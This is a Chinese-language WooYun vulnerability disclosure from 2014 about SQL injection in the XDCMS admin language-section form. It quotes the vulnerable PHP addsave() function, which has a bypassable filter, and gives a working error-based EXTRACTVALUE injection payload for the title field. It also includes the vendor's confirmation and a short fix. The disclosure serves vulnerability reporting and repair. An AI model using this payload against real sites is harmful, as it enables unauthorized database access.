当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-051283

漏洞标题:XDcms Sql Injection 11-17

相关厂商:www.xdcms.cn

漏洞作者: HackBraid

提交时间:2014-02-18 14:05

修复时间:2014-05-19 14:06

公开时间:2014-05-19 14:06

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-02-18: 细节已通知厂商并且等待厂商处理中
2014-02-24: 厂商已经确认,细节仅向厂商公开
2014-02-27: 细节向第三方安全合作伙伴开放
2014-04-20: 细节向核心白帽子及相关领域专家公开
2014-04-30: 细节向普通白帽子公开
2014-05-10: 细节向实习白帽子公开
2014-05-19: 细节向公众公开

简要描述:

Sql Injection

详细说明:

注入在XDCMS企业管理系统后台的板块发布处,\system\modules\xdcms\language.php文件:
管理员在发布板块的时候会调用addsave()函数,七个注入点就出现在该函数里:

public function addsave(){
$title=safe_html($_POST['title']);//title中safe_html的规则可被大写字母绕过
$sitename=safe_html($_POST['sitename']);//同上
$dir=safe_html($_POST['dir']);//同上
$seo_title=safe_html($_POST['seo_title']);//同上
$seo_key=safe_html($_POST['seo_key']);//同上
$seo_des=safe_html($_POST['seo_des']);//同上
$copyright=$_POST['copyright'];//同上
if(empty($title)){
showmsg(C('material_not_complete'),'-1');
}
//sql语句,将字段插入数据库
$this->mysql->db_insert('language',"`title`='".$title."',`sitename`='".$sitename."',`dir`='".$dir."',`seo_title`='".$seo_title."',`seo_key`='".$seo_key."',`seo_des`='".$seo_des."',`copyright`='".$copyright."'");
$this->language_cache();
showmsg(C('add_success'),'index.php?m=xdcms&c=language');
}


漏洞证明:

以title字段为例,在版本添加处的title处插入exp:

' AND EXTRACTVALUE(3145,CONCAT(0x5c,0x716d6b7771,(SELECT (CASE WHEN (3145=3145) THEN 1 ELSE 0 END)),0x7164766771)) AND 'AiAl'='AiAl


x.jpg


存在注入:

x3.jpg

修复方案:

过滤,safe_html匹配规则升级!

版权声明:转载请注明来源 HackBraid@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2014-02-24 22:24

厂商回复:

老版本没有更新

最新状态:

暂无